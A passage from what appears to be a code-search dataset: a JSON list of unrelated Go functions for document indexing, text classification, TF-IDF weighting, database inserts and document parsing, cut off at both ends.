{\\n\\t\\tm.ind = append(m.ind, index.IndexOf(term))\\n\\t\\tm.val = append(m.val, weight(term))\\n\\t}\\n\\n\\tcur := prev + len(docWordFreq)\\n\\tquickSort(m, prev, cur-1)\\n\\tm.ptr = append(m.ptr, cur)\\n}\",\n \"func doTextProcessor(p proc.TextProcessor, label string, c *Chunk, msg string) *Chunk {\\n\\tres := p.Run(c.Data)\\n\\n\\tfor _, match := range res.Matches {\\n\\t\\tformattedMsg := fmt.Sprintf(msg)\\n\\t\\tc.Matches = append(c.Matches, NewMatch(match.Match, label, match.Indices, formattedMsg))\\n\\t\\tc.Score += 1\\n\\t}\\n\\n\\treturn c\\n}\",\n \"func (classifier *Classifier) Learn(docs ...Document) {\\n\\tlog.Infof(\\\"-----------------------start Learn-----------------------\\\")\\n\\tdefer func() {\\n\\t\\tlog.Infof(\\\"-----------------------end Learn-----------------------\\\")\\n\\t}()\\n\\tclassifier.NAllDocument += len(docs)\\n\\n\\tfor _, doc := range docs {\\n\\t\\tclassifier.NDocumentByClass[doc.Class]++\\n\\n\\t\\ttokens := doc.Tokens\\n\\t\\tif classifier.Model == MultinomialBoolean {\\n\\t\\t\\ttokens = classifier.removeDuplicate(doc.Tokens...)\\n\\t\\t}\\n\\n\\t\\tfor _, token := range tokens {\\n\\t\\t\\tclassifier.NFrequencyByClass[doc.Class]++\\n\\n\\t\\t\\tif _, exist := classifier.LearningResults[token]; !exist {\\n\\t\\t\\t\\tclassifier.LearningResults[token] = make(map[Class]int)\\n\\t\\t\\t}\\n\\n\\t\\t\\tclassifier.LearningResults[token][doc.Class]++\\n\\t\\t}\\n\\t}\\n\\n\\tfor class, nDocument := range classifier.NDocumentByClass {\\n\\t\\tlog.Infof(\\\"class : [%s] nDocument : [%d] NAllDocument : [%d]\\\", class, nDocument, classifier.NAllDocument)\\n\\t\\tclassifier.PriorProbabilities[class] = float64(nDocument) / float64(classifier.NAllDocument)\\n\\t}\\n}\",\n \"func (b *BotApp) SetDocument(value DocumentClass) {\\n\\tb.Flags.Set(0)\\n\\tb.Document = value\\n}\",\n \"func New(callback Processor) *Document {\\n\\treturn &Document{callback: callback}\\n}\",\n \"func (e Es) PutDocument(index string, doc string, id string, reqBody string) (string, error) {\\n\\tif id == \\\"-\\\" {\\n\\t\\tid = \\\"\\\"\\n\\t}\\n\\tbody, err := e.putJSON(fmt.Sprintf(\\\"/%s/%s/%s\\\", index, doc, id), reqBody)\\n\\tif err != nil {\\n\\t\\treturn \\\"failed\\\", err\\n\\t}\\n\\terr = checkError(body)\\n\\tif err != nil {\\n\\t\\treturn \\\"failed\\\", err\\n\\t}\\n\\tresult, ok := body[\\\"result\\\"].(string)\\n\\tif !ok {\\n\\t\\treturn \\\"failed\\\", fmt.Errorf(\\\"Failed to parse response\\\")\\n\\t}\\n\\treturn result, nil\\n}\",\n \"func readDocContentFromFile(addDocArgV addDocArgs, docClient DocClient) ([]*rspace.DocumentInfo, error) {\\n\\tcreatedDocs := make([]*rspace.DocumentInfo, 0)\\n\\n\\t// else is form, we add content if there is any\\n\\t// TODO implement this, use CSV data as an example.\\n\\tformId, err := idFromGlobalId(addDocArgV.FormId)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tvar toPost = rspace.DocumentPost{}\\n\\ttoPost.Name = addDocArgV.NameArg\\n\\ttoPost.Tags = addDocArgV.Tags\\n\\ttoPost.FormID = rspace.FormId{formId}\\n\\tif len(addDocArgV.InputData) > 0 {\\n\\t\\tf, err := os.Open(addDocArgV.InputData)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\tcsvIn, err := readCsvFile(f)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\terr = validateCsvInput(csvIn)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\t// iterate of each row in file\\n\\t\\tfor i, v := range csvIn {\\n\\t\\t\\t// ignore 1st line - header\\n\\t\\t\\tif i == 0 {\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t\\tmessageStdErr(fmt.Sprintf(\\\"%d of %d\\\", i, len(csvIn)-1))\\n\\t\\t\\tvar content []rspace.FieldContent = make([]rspace.FieldContent, 0)\\n\\t\\t\\t// convert each column into a field\\n\\t\\t\\tfor _, v2 := range v {\\n\\t\\t\\t\\tcontent = append(content, rspace.FieldContent{Content: v2})\\n\\t\\t\\t}\\n\\t\\t\\ttoPost.Fields = content\\n\\t\\t\\t// add suffix to name if > 1 document being created\\n\\t\\t\\tif i > 1 {\\n\\t\\t\\t\\ttoPost.Name = fmt.Sprintf(\\\"%s-%d\\\", toPost.Name, i)\\n\\t\\t\\t}\\n\\t\\t\\tdoc, err := docClient.NewDocumentWithContent(&toPost)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tmessageStdErr(fmt.Sprintf(\\\"Could not create document from data in row %d\\\", i))\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t\\tcreatedDocs = append(createdDocs, doc.DocumentInfo)\\n\\t\\t}\\n\\t}\\n\\treturn createdDocs, nil\\n}\",\n \"func (trie *Trie) addMovie(s string, id int) {\\n\\ts = strings.ToLower(s)\\n\\n\\tres := strings.Fields(s)\\n\\n\\tstrings.ToLower(s)\\n\\n\\tif trie.root == nil {\\n\\t\\ttmp := new(TNode)\\n\\t\\ttmp.isword = false\\n\\t\\ttmp.cnodes = make(map[string]*TNode)\\n\\t\\ttrie.root = tmp\\n\\t}\\n\\n\\tfor i := range res {\\n\\t\\ttrie.root.addString(res[i], id)\\n\\t}\\n}\",\n \"func (handler DocHandler) Create(w http.ResponseWriter, r *http.Request) {\\n\\tvar doc models.Doc\\n\\tjson.NewDecoder(r.Body).Decode(&doc)\\n\\n\\tvalidate := validator.New()\\n\\n\\terr := validate.Struct(doc)\\n\\tif err != nil {\\n\\t\\tresponse.JSON(w, response.Result{Error: \\\"Error creating document\\\"}, http.StatusNotAcceptable)\\n\\t\\treturn\\n\\t}\\n\\n\\thandler.DB.Create(&doc)\\n\\tresponse.JSON(w, response.Result{Result: \\\"Document Created\\\"}, http.StatusCreated)\\n}\",\n \"func (wt *WaterTower) PostDocument(uniqueKey string, document *Document) (uint32, error) {\\n\\tretryCount := 50\\n\\tvar lastError error\\n\\tvar docID uint32\\n\\tnewTags, newDocTokens, wordCount, titleWordCount, err := wt.analyzeDocument(\\\"new\\\", document)\\n\\tif err != nil {\\n\\t\\treturn 0, err\\n\\t}\\n\\tfor i := 0; i < retryCount; i++ {\\n\\t\\tdocID, lastError = wt.postDocumentKey(uniqueKey)\\n\\t\\tif lastError == nil {\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n\\tif lastError != nil {\\n\\t\\treturn 0, fmt.Errorf(\\\"fail to register document's unique key: %w\\\", lastError)\\n\\t}\\n\\tfor i := 0; i < retryCount; i++ {\\n\\t\\toldDoc, err := wt.postDocument(docID, uniqueKey, wordCount, titleWordCount, document)\\n\\t\\tif err != nil {\\n\\t\\t\\tlastError = err\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\toldTags, oldDocTokens, _, _, err := wt.analyzeDocument(\\\"old\\\", oldDoc)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn 0, err\\n\\t\\t}\\n\\t\\terr = wt.updateTagsAndTokens(docID, oldTags, newTags, oldDocTokens, newDocTokens)\\n\\t\\tif err != nil {\\n\\t\\t\\tlastError = err\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\treturn docID, nil\\n\\t}\\n\\treturn 0, fmt.Errorf(\\\"fail to register document: %w\\\", lastError)\\n}\",\n \"func (es ES) AddTool(tool globals.Perco) error {\\n\\tif tool.Name == \\\"\\\" || tool.Query.Regexp.Input == \\\"\\\" {\\n\\t\\treturn errors.New(\\\"cannot create empty tool\\\")\\n\\t}\\n\\n\\tb, err := json.Marshal(tool)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t_, err = es.Client.Index().\\n\\t\\tIndex(\\\"tools\\\").\\n\\t\\tId(tool.ID).\\n\\t\\tRefresh(\\\"true\\\").\\n\\t\\tType(\\\"_doc\\\").\\n\\t\\tBodyString(string(b)).\\n\\t\\tDo(es.Context)\\n\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"error creating document : %s\\\", err.Error())\\n\\t}\\n\\treturn nil\\n}\",\n \"func SaveQueryTextSearch(q *QueryTextSearch) {\\n\\tsession, err := mgo.Dial(\\\"mongodb://localhost\\\")\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\tdefer session.Close()\\n\\n\\tcollQueriesTextSearch := common.GetCollection(session, \\\"queries.textsearch\\\")\\n\\n\\terr = collQueriesTextSearch.Insert(q)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n}\",\n \"func (p *Parser) ParseDocument(doc string, quote bool) ([]*basically.Sentence, []*basically.Token, error) {\\n\\tsents := p.sentTokenizer.Segment(doc)\\n\\tretSents := make([]*basically.Sentence, 0, len(sents))\\n\\tretTokens := make([]*basically.Token, 0, len(sents)*15)\\n\\n\\ttokCounter := 0\\n\\tfor idx, sent := range sents {\\n\\t\\ttokens := p.wordTokenizer.Tokenize(sent.Text)\\n\\t\\ttokens = p.tagger.Tag(tokens)\\n\\n\\t\\t// Convert struct from []*prose.Token to []*basically.Token.\\n\\t\\tbtokens := make([]*basically.Token, 0, len(tokens))\\n\\t\\tfor _, tok := range tokens {\\n\\t\\t\\tbtok := basically.Token{Tag: tok.Tag, Text: strings.ToLower(tok.Text), Order: tokCounter}\\n\\t\\t\\tbtokens = append(btokens, &btok)\\n\\t\\t\\ttokCounter++\\n\\t\\t}\\n\\n\\t\\t// Analyzes sentence sentiment.\\n\\t\\tsentiment := p.analyzer.PolarityScores(sent.Text).Compound\\n\\n\\t\\tretSents = append(retSents, &basically.Sentence{\\n\\t\\t\\tRaw: sent.Text,\\n\\t\\t\\tTokens: btokens,\\n\\t\\t\\tSentiment: sentiment,\\n\\t\\t\\tBias: 1.0,\\n\\t\\t\\tOrder: idx,\\n\\t\\t})\\n\\n\\t\\tretTokens = append(retTokens, btokens...)\\n\\t}\\n\\n\\treturn retSents, retTokens, nil\\n}\",\n \"func (d *Decoder) AddWord(word, phones String, update bool) (id int32, ok bool) {\\n\\tret := pocketsphinx.AddWord(d.dec, word.S(), phones.S(), b(update))\\n\\tif ret < 0 {\\n\\t\\treturn 0, false\\n\\t}\\n\\treturn ret, true\\n}\",\n \"func NewDocumentService(config *autoconfig.Config, ctx context.Context) (*DocumentService, error) {\\n\\ts := &DocumentService{\\n\\t\\tconfig: config,\\n\\t\\tHandler: mux.NewRouter(),\\n\\t}\\n\\ts.createClients(ctx)\\n\\n\\t// These is the un-authenticated endpoint that handles authentication with Auth0.\\n\\ts.Handler.HandleFunc(\\\"/debug/health\\\", health.StatusHandler).Methods(\\\"GET\\\")\\n\\ts.Handler.Handle(\\\"/login\\\", middleware.JSON(authentication.Handler(config))).Methods(\\\"POST\\\")\\n\\n\\t// These requests all require authentication.\\n\\tlogMiddleware := logging.LogMiddleware{\\n\\t\\tTable: s.bigquery.Dataset(config.Get(\\\"bigquery.dataset\\\")).Table(config.Get(\\\"bigquery.log_table\\\")),\\n\\t}\\n\\tauthRouter := s.Handler.PathPrefix(\\\"/document\\\").Subrouter()\\n\\tauthRouter.Handle(\\\"/\\\", middleware.JSON(authentication.Middleware(config, s.ListDocuments))).Methods(\\\"GET\\\")\\n\\tauthRouter.Handle(\\\"/\\\", middleware.JSON(authentication.Middleware(config, s.UploadDocument))).Methods(\\\"POST\\\")\\n\\tauthRouter.Handle(\\\"/{id}\\\", authentication.Middleware(config, s.GetDocument)).Methods(\\\"GET\\\")\\n\\tauthRouter.Handle(\\\"/{id}\\\", middleware.JSON(authentication.Middleware(config, s.DeleteDocument))).Methods(\\\"DELETE\\\")\\n\\tauthRouter.Use(logMiddleware.Middleware)\\n\\tauthRouter.Use(handlers.CompressHandler)\\n\\treturn s, nil\\n}\",\n \"func ParseDocument(data []byte) (*Doc, error) {\\n\\t// validate did document\\n\\tif err := validate(data); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\traw := &rawDoc{}\\n\\n\\terr := json.Unmarshal(data, &raw)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"JSON marshalling of did doc bytes bytes failed: %w\\\", err)\\n\\t}\\n\\n\\tpublicKeys, err := populatePublicKeys(raw.PublicKey)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"populate public keys failed: %w\\\", err)\\n\\t}\\n\\n\\tauthPKs, err := populateAuthentications(raw.Authentication, publicKeys)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"populate authentications failed: %w\\\", err)\\n\\t}\\n\\n\\tproofs, err := populateProofs(raw.Proof)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"populate proofs failed: %w\\\", err)\\n\\t}\\n\\n\\treturn &Doc{Context: raw.Context,\\n\\t\\tID: raw.ID,\\n\\t\\tPublicKey: publicKeys,\\n\\t\\tService: populateServices(raw.Service),\\n\\t\\tAuthentication: authPKs,\\n\\t\\tCreated: raw.Created,\\n\\t\\tUpdated: raw.Updated,\\n\\t\\tProof: proofs,\\n\\t}, nil\\n}\",\n \"func (dao *FilingDaoImpl) AddDocuments(filing *model.Filing, docs []*model.Document) error {\\n\\tif filing == nil || filing.ID == \\\"\\\" {\\n\\t\\treturn fmt.Errorf(\\\"no filing to add docs to\\\")\\n\\t}\\n\\tif len(docs) == 0 {\\n\\t\\treturn fmt.Errorf(\\\"no docs\\\")\\n\\t}\\n\\tf := filingAsRecord(filing)\\n\\tvar totalSize int64\\n\\trecords := []*Document{}\\n\\tfor _, doc := range docs {\\n\\t\\trec := documentPartial(doc)\\n\\t\\trec.FilingID = filing.ID\\n\\t\\trec.Data = []byte(doc.Body)\\n\\t\\tsize := int64(len(rec.Data))\\n\\t\\trec.SizeEstimate = byteCountDecimal(size)\\n\\t\\ttotalSize += size\\n\\t\\trecords = append(records, rec)\\n\\t}\\n\\tf.DocumentCount = int64(len(records))\\n\\tf.TotalSizeEstimate = byteCountDecimal(totalSize)\\n\\tf.Updated = time.Now()\\n\\n\\ttx, err := dao.db.Begin()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// Insert docs.\\n\\terr = dao.db.Insert(&records)\\n\\tif err != nil {\\n\\t\\ttx.Rollback()\\n\\t\\treturn err\\n\\t}\\n\\n\\t_, err = tx.Model(f).Column(\\\"doc_count\\\", \\\"total_size_est\\\", \\\"updated\\\").WherePK().Update()\\n\\tif err != nil {\\n\\t\\ttx.Rollback()\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn tx.Commit()\\n}\",\n \"func CreateDocument( vehicleid string, latitude, longitude float64 ) error {\\n\\n\\tid := uuid.Must(uuid.NewV4()).String()\\n\\tjsonData := jsonDocument(vehicleid, latitude, longitude)\\n\\n\\tctx := context.Background()\\n\\tdoc, err := client.Index().\\n\\t\\tIndex(os.Getenv(\\\"ELASTICSEARCH_INDEX\\\")).\\n\\t\\tType(os.Getenv(\\\"ELASTICSEARCH_TYPE\\\")).\\n\\t Id(id).\\n\\t BodyString(jsonData).\\n\\t Do(ctx)\\n\\tcommon.CheckError(err)\\n\\tlog.Printf(\\\"Indexed geolocation %s to index %s, type %s\\\\n\\\", doc.Id, doc.Index, doc.Type)\\n\\treturn nil\\n}\",\n \"func (f *TFIDF) Cal(doc string) (weight map[string]float64) {\\n\\tweight = make(map[string]float64)\\n\\n\\tvar termFreq map[string]int\\n\\n\\tdocPos := f.docPos(doc)\\n\\tif docPos < 0 {\\n\\t\\ttermFreq = f.termFreq(doc)\\n\\t} else {\\n\\t\\ttermFreq = f.termFreqs[docPos]\\n\\t}\\n\\n\\tdocTerms := 0\\n\\tfor _, freq := range termFreq {\\n\\t\\tdocTerms += freq\\n\\t}\\n\\tfor term, freq := range termFreq {\\n\\t\\tweight[term] = tfidf(freq, docTerms, f.termDocs[term], f.n)\\n\\t}\\n\\n\\treturn weight\\n}\",\n \"func (b *Batch) Add(document ...DataObject) *Batch {\\n\\tb.Data = append(b.Data, document...)\\n\\treturn b\\n}\",\n \"func (s *DocumentStore) CreateDocument(ctx context.Context, d *influxdb.Document) error {\\n\\treturn s.service.kv.Update(ctx, func(tx Tx) error {\\n\\t\\t// Check that labels exist before creating the document.\\n\\t\\t// Mapping creation would check for that, but cannot anticipate that until we\\n\\t\\t// have a valid document ID.\\n\\t\\tfor _, l := range d.Labels {\\n\\t\\t\\tif _, err := s.service.findLabelByID(ctx, tx, l.ID); err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\terr := s.service.createDocument(ctx, tx, s.namespace, d)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\n\\t\\tfor orgID := range d.Organizations {\\n\\t\\t\\tif err := s.service.addDocumentOwner(ctx, tx, orgID, d.ID); err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tfor _, l := range d.Labels {\\n\\t\\t\\tif err := s.addDocumentLabelMapping(ctx, tx, d.ID, l.ID); err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\treturn nil\\n\\t})\\n}\",\n \"func (d *Doc) AddFormattedText(x, y float64, content string, size int, style string) {\\n\\td.SetFontSize(size)\\n\\td.SetFontStyle(style)\\n\\td.AddText(x, y, content)\\n\\td.DefaultFontSize()\\n\\td.DefaultFontStyle()\\n}\",\n \"func (c *Classifier) createTargetIndexedDocument(in []byte) *indexedDocument {\\n\\tdoc := tokenize(in)\\n\\treturn c.generateIndexedDocument(doc, false)\\n}\",\n \"func (t *TrieNode) Add(str string, scene *sfmovies.Scene) {\\n\\tstr = CleanString(str)\\n\\tt.recursiveAdd(str, scene)\\n}\",\n \"func (b *Builder) AddTextFunc(f func(io.Writer) error) *Builder {\\n\\tb.textFunc = f\\n\\treturn b\\n}\",\n \"func (g Generator) NewDocument(eventTime time.Time, d *pathway.Document) *ir.Document {\\n\\treturn g.documentGenerator.Document(eventTime, d)\\n}\",\n \"func CreateDocument(data interface{}) error {\\n\\tid, rev, err := DB.CreateDocument(data)\\n\\tif err != nil {\\n\\t\\tlog.Println(err)\\n\\t\\treturn err\\n\\t}\\n\\n\\tUsersDoc.Rev = rev\\n\\tUsersDoc.ID = id\\n\\n\\treturn nil\\n}\",\n \"func (this *Corpus) Load(fn string) {\\n\\tf, err := os.Open(fn)\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\n\\tif this.Docs == nil {\\n\\t\\tthis.Docs = make(map[uint32][]*WordCount)\\n\\t}\\n\\tvocabMaxId := uint32(0)\\n\\n\\tscanner := bufio.NewScanner(f)\\n\\tfor scanner.Scan() {\\n\\t\\tdoc := scanner.Text()\\n\\t\\tvals := strings.Split(doc, \\\" \\\")\\n\\t\\tif len(vals) < 2 {\\n\\t\\t\\tlog.Warningf(\\\"bad document: %s\\\", doc)\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\tdocId, err := strconv.ParseUint(vals[0], 10, 32)\\n\\t\\tif err != nil {\\n\\t\\t\\tpanic(err)\\n\\t\\t}\\n\\n\\t\\tthis.DocNum += uint32(1)\\n\\n\\t\\tfor _, kv := range vals[1:] {\\n\\t\\t\\twc := strings.Split(kv, \\\":\\\")\\n\\t\\t\\tif len(wc) != 2 {\\n\\t\\t\\t\\tlog.Warningf(\\\"bad word count: %s\\\", kv)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\n\\t\\t\\twordId, err := strconv.ParseUint(wc[0], 10, 32)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tpanic(err)\\n\\t\\t\\t}\\n\\n\\t\\t\\tcount, err := strconv.ParseUint(wc[1], 10, 32)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tpanic(err)\\n\\t\\t\\t}\\n\\n\\t\\t\\tthis.Docs[uint32(docId)] = append(this.Docs[uint32(docId)], &WordCount{\\n\\t\\t\\t\\tWordId: uint32(wordId),\\n\\t\\t\\t\\tCount: uint32(count),\\n\\t\\t\\t})\\n\\t\\t\\tif uint32(wordId) > vocabMaxId {\\n\\t\\t\\t\\tvocabMaxId = uint32(wordId)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\tthis.VocabSize = vocabMaxId + 1\\n\\n\\tlog.Infof(\\\"number of documents %d\\\", this.DocNum)\\n\\tlog.Infof(\\\"vocabulary size %d\\\", this.VocabSize)\\n}\",\n \"func NewDocument(record interface{}, readonly ...bool) *Document {\\n\\tswitch v := record.(type) {\\n\\tcase *Document:\\n\\t\\treturn v\\n\\tcase reflect.Value:\\n\\t\\treturn newDocument(v.Interface(), v, len(readonly) > 0 && readonly[0])\\n\\tcase reflect.Type:\\n\\t\\tpanic(\\\"rel: cannot use reflect.Type\\\")\\n\\tcase nil:\\n\\t\\tpanic(\\\"rel: cannot be nil\\\")\\n\\tdefault:\\n\\t\\treturn newDocument(v, reflect.ValueOf(v), len(readonly) > 0 && readonly[0])\\n\\t}\\n}\",\n \"func (t MatchTask) AddSentence(contextMarker string, text string) {\\n\\tvar words = strings.Fields(text)\\n\\tvar sentence = Sentence{0, words}\\n\\n\\tt.sentenceByContextMarker[contextMarker] = sentence\\n}\",\n \"func ProcessDocument(document string) (string, bool) {\\n\\n regRule, err := regexp.Compile(\\\"[^0-9]+\\\")\\n if err != nil {\\n log.Print(err)\\n }\\n processedDocument := regRule.ReplaceAllString(document, \\\"\\\")\\n stringSize := len(processedDocument)\\n\\n if stringSize == 11 { //Validação dos dígitos verificadores\\n return processedDocument, VerifyCPF(processedDocument)\\n } else if stringSize == 14 {\\n return processedDocument, VerifyCNPJ(processedDocument)\\n } else {\\n //log.Println(stringSize, document, processedDocument)\\n return processedDocument, false\\n }\\n}\",\n \"func (c *central) broadcastAddDoc(teammate map[string]bool,args *centralrpc.AddDocArgs) error {\\n\\tfor k, _ := range teammate {\\n\\t\\terr := c.sendAddedDoc(k,args.HostPort, args.DocId)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func AddNewDefinition(objName string, s interface{}, sw *Doc) {\\n\\tif _, ok := sw.Definitions[objName]; !ok {\\n\\t\\tsw.Definitions[objName] = &Definition{}\\n\\t\\tsw.Definitions[objName].Parse(s, sw)\\n\\t}\\n}\",\n \"func ParseCWLDocument(existingContext *WorkflowContext, yamlStr string, entrypoint string, inputfilePath string, useObjectID string) (objectArray []NamedCWLObject, schemata []CWLType_Type, context *WorkflowContext, schemas []interface{}, newEntrypoint string, err error) {\\n\\t//fmt.Printf(\\\"(Parse_cwl_document) starting\\\\n\\\")\\n\\n\\tif useObjectID != \\\"\\\" {\\n\\t\\tif !strings.HasPrefix(useObjectID, \\\"#\\\") {\\n\\t\\t\\terr = fmt.Errorf(\\\"(NewCWLObject) useObjectID has not # as prefix (%s)\\\", useObjectID)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n\\n\\tif existingContext != nil {\\n\\t\\tcontext = existingContext\\n\\t} else {\\n\\t\\tcontext = NewWorkflowContext()\\n\\t\\tcontext.Path = inputfilePath\\n\\t\\tcontext.InitBasic()\\n\\t}\\n\\n\\tgraphPos := strings.Index(yamlStr, \\\"$graph\\\")\\n\\n\\t//yamlStr = strings.Replace(yamlStr, \\\"$namespaces\\\", \\\"namespaces\\\", -1)\\n\\t//fmt.Println(\\\"yamlStr:\\\")\\n\\t//fmt.Println(yamlStr)\\n\\n\\tif graphPos != -1 {\\n\\t\\t// *** graph file ***\\n\\t\\t//yamlStr = strings.Replace(yamlStr, \\\"$graph\\\", \\\"graph\\\", -1) // remove dollar sign\\n\\t\\tlogger.Debug(3, \\\"(Parse_cwl_document) graph document\\\")\\n\\t\\t//fmt.Printf(\\\"(Parse_cwl_document) ParseCWLGraphDocument\\\\n\\\")\\n\\t\\tobjectArray, schemata, schemas, err = ParseCWLGraphDocument(yamlStr, entrypoint, context)\\n\\t\\tif err != nil {\\n\\t\\t\\terr = fmt.Errorf(\\\"(Parse_cwl_document) Parse_cwl_graph_document returned: %s\\\", err.Error())\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t} else {\\n\\t\\tlogger.Debug(3, \\\"(Parse_cwl_document) simple document\\\")\\n\\t\\t//fmt.Printf(\\\"(Parse_cwl_document) ParseCWLSimpleDocument\\\\n\\\")\\n\\n\\t\\t//useObjectID := \\\"#\\\" + inputfilePath\\n\\n\\t\\tvar objectID string\\n\\n\\t\\tobjectArray, schemata, schemas, objectID, err = ParseCWLSimpleDocument(yamlStr, useObjectID, context)\\n\\t\\tif err != nil {\\n\\t\\t\\terr = fmt.Errorf(\\\"(Parse_cwl_document) Parse_cwl_simple_document returned: %s\\\", err.Error())\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tnewEntrypoint = objectID\\n\\t}\\n\\tif len(objectArray) == 0 {\\n\\t\\terr = fmt.Errorf(\\\"(Parse_cwl_document) len(objectArray) == 0 (graphPos: %d)\\\", graphPos)\\n\\t\\treturn\\n\\t}\\n\\t//fmt.Printf(\\\"(Parse_cwl_document) end\\\\n\\\")\\n\\treturn\\n}\",\n \"func NewDocument(url *url.URL, node *html.Node, logger log.Logger) *Document {\\n\\treturn &Document{\\n\\t\\turl: url,\\n\\t\\tnode: node,\\n\\t\\tlogger: logger,\\n\\t}\\n}\",\n \"func (c *Client) CreateDocument(vaultID string, document *models.EncryptedDocument, opts ...ReqOption) (string, error) {\\n\\treqOpt := &ReqOpts{}\\n\\n\\tfor _, o := range opts {\\n\\t\\to(reqOpt)\\n\\t}\\n\\n\\tjsonToSend, err := c.marshal(document)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"failed to marshal document: %w\\\", err)\\n\\t}\\n\\n\\tlogger.Debugf(\\\"Sending request to create the following document: %s\\\", jsonToSend)\\n\\n\\tstatusCode, httpHdr, respBytes, err := c.sendHTTPRequest(http.MethodPost,\\n\\t\\tc.edvServerURL+fmt.Sprintf(\\\"/%s/documents\\\", url.PathEscape(vaultID)), jsonToSend, c.getHeaderFunc(reqOpt))\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\tif statusCode == http.StatusCreated {\\n\\t\\treturn httpHdr.Get(\\\"Location\\\"), nil\\n\\t}\\n\\n\\treturn \\\"\\\", fmt.Errorf(\\\"the EDV server returned status code %d along with the following message: %s\\\",\\n\\t\\tstatusCode, respBytes)\\n}\",\n \"func (t MatchTask) addSentenceWithOffset(contextMarker string, words []string, offset int) {\\n\\tvar sentence = Sentence{offset, words}\\n\\n\\tt.sentenceByContextMarker[contextMarker] = sentence\\n}\",\n \"func (r *MongoRepository) add(definition *Definition) error {\\n\\tsession, coll := r.getSession()\\n\\tdefer session.Close()\\n\\n\\tisValid, err := definition.Validate()\\n\\tif false == isValid && err != nil {\\n\\t\\tlog.WithError(err).Error(\\\"Validation errors\\\")\\n\\t\\treturn err\\n\\t}\\n\\n\\t_, err = coll.Upsert(bson.M{\\\"name\\\": definition.Name}, definition)\\n\\tif err != nil {\\n\\t\\tlog.WithField(\\\"name\\\", definition.Name).Error(\\\"There was an error adding the resource\\\")\\n\\t\\treturn err\\n\\t}\\n\\n\\tlog.WithField(\\\"name\\\", definition.Name).Debug(\\\"Resource added\\\")\\n\\treturn nil\\n}\",\n \"func (t *OpetCode) createDocument(APIstub shim.ChaincodeStubInterface, args []string) sc.Response {\\n if len(args) != 3 {\\n return shim.Error(\\\"Incorrect number of arguments. Expecting 3\\\")\\n }\\n\\n user_uid := args[0]\\n uid := args[1]\\n json_props := args[2]\\n doc_key, _ := APIstub.CreateCompositeKey(uid, []string{DOCUMENT_KEY})\\n user_key, _ := APIstub.CreateCompositeKey(user_uid, []string{USER_KEY})\\n\\n if _, err := t.loadDocument(APIstub, doc_key); err == nil {\\n return shim.Error(\\\"Document already exists\\\")\\n }\\n\\n user, err := t.loadUser(APIstub, user_key)\\n if err != nil {\\n return shim.Error(fmt.Sprintf(\\\"The %s user doesn't not exist\\\", user_uid))\\n }\\n user.Documents = append(user.Documents, uid)\\n\\n\\n new_doc := new(Document)\\n new_doc.Data = make(map[string]interface{})\\n err = json.Unmarshal([]byte(json_props), &new_doc.Data)\\n if err != nil {\\n return shim.Error(\\\"Can't parse json props\\\")\\n }\\n\\n new_doc_json, _ := json.Marshal(new_doc)\\n APIstub.PutState(doc_key, new_doc_json)\\n\\n user_json, _ := json.Marshal(user)\\n APIstub.PutState(user_key, user_json)\\n\\n return shim.Success(nil)\\n}\",\n \"func (c *Corpus) Add(vals ...string) bool {\\n\\tfor _, v := range vals {\\n\\t\\tif _, ok := c.words[v]; !ok {\\n\\t\\t\\tc.Size++\\n\\t\\t\\tc.words[v] = true\\n\\t\\t}\\n\\t}\\n\\treturn true\\n}\",\n \"func add(mgr manager.Manager, r reconcile.Reconciler) error {\\n\\t// Create a new controller\\n\\tc, err := controller.New(\\\"mongodbatlasdatabase-controller\\\", mgr, controller.Options{Reconciler: r})\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// Watch for changes to primary resource MongoDBAtlasDatabase\\n\\terr = c.Watch(&source.Kind{Type: &knappekv1alpha1.MongoDBAtlasDatabase{}}, 